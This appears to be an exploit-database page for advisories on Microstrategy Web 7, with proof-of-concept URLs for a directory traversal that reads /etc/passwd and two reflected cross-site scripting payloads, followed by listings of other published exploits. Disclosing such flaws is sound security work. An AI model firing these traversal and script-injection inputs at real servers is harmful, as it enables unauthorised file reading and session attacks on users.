Menu

Search for hundreds of thousands of exploits

"Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal"

Author

Exploit author

"Rafael Pedrero"

Platform

Exploit platform

jsp

Release date

Exploit published date

2018-10-30

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<!--
# Exploit Title: Path traversal vulnerability in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: all
# CVE : CVE-2018-18777
# Category: webapps

1. Description

Directory traversal vulnerability in Microstrategy Web, version 7, in
"/WebMstr7/servlet/mstrWeb" (in the parameter subpage) allows remote
authenticated users to bypass intended SecurityManager restrictions and
list a parent directory via a /.. (slash dot dot) in a pathname used by a
web application.


2. Proof of Concept

http://X.X.X.X/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=../../../../../../../../etc/passwd

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: Unix
# CVE : CVE-2018-18775
# Category: webapps

1. Description

Microstrategy Web, version 7, does not sufficiently encode user-controlled
inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the
Login.asp Msg parameter.


2. Proof of Concept

http://X.X.X.X/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=
"><script>alert("XSS");</script><"

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: all
# CVE : CVE-2018-18776
# Category: webapps

1. Description

Microstrategy Web, version 7, does not sufficiently encode user-controlled
inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the
admin.asp ShowAll parameter.


2. Proof of Concept

http://X.X.X.X/microstrategy7/admin/admin.asp?ShowAll=
"><script>alert("XSS")</script><"&ShowAllServers=show

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-11-12 "Atlassian Confluence 6.15.1 - Directory Traversal" webapps jsp max7253
2019-11-12 "Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)" webapps jsp max7253
2019-09-16 "NetGain EM Plus 10.1.68 - Remote Command Execution" webapps jsp azams
2019-07-26 "Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit)" webapps jsp "Wietse Boonstra"
2019-07-26 "Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection" webapps jsp "Wietse Boonstra"
2019-07-26 "Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution" webapps jsp "Wietse Boonstra"
2019-06-11 "Liferay Portal 7.1 CE GA=3 / SimpleCaptcha API - Cross-Site Scripting" webapps jsp "Valerio Brussani"
2019-06-05 "Zimbra < 8.8.11 - XML External Entity Injection / Server-Side Request Forgery" webapps jsp k8gege
2019-05-10 "dotCMS 5.1.1 - HTML Injection" webapps jsp "Ismail Tasdelen"
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
Release Date Title Type Platform Author
2019-08-28 "SQLiteManager 1.2.0 / 1.2.4 - Blind SQL Injection" webapps php "Rafael Pedrero"
2019-02-19 "XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting" webapps php "Rafael Pedrero"
2019-02-19 "Zoho ManageEngine Netflow Analyzer Professional 7.0.0.2 - Path Traversal / Cross-Site Scripting" webapps jsp "Rafael Pedrero"
2019-02-04 "SpotAuditor 3.6.7 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-04 "River Past Ringtone Converter 2.7.6.1601 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-04 "TaskInfo 8.2.0.280 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-02-01 "Remote Process Explorer 1.0.0.16 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "ASPRunner Professional 6.0.766 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "AMAC Address Change 5.4 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-31 "LanHelper 1.74 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "Advanced File Manager 3.4.1 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2019-01-30 "Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC)" dos windows "Rafael Pedrero"
2018-12-21 "SQLScan 1.0 - Denial of Service (PoC)" dos windows "Rafael Pedrero"
2018-12-18 "MiniShare 1.4.1 - 'HEAD/POST' Remote Buffer Overflow" remote windows "Rafael Pedrero"
2018-11-14 "Advanced Comment System 1.0 - SQL Injection" webapps php "Rafael Pedrero"
2018-10-30 "Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal" webapps jsp "Rafael Pedrero" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected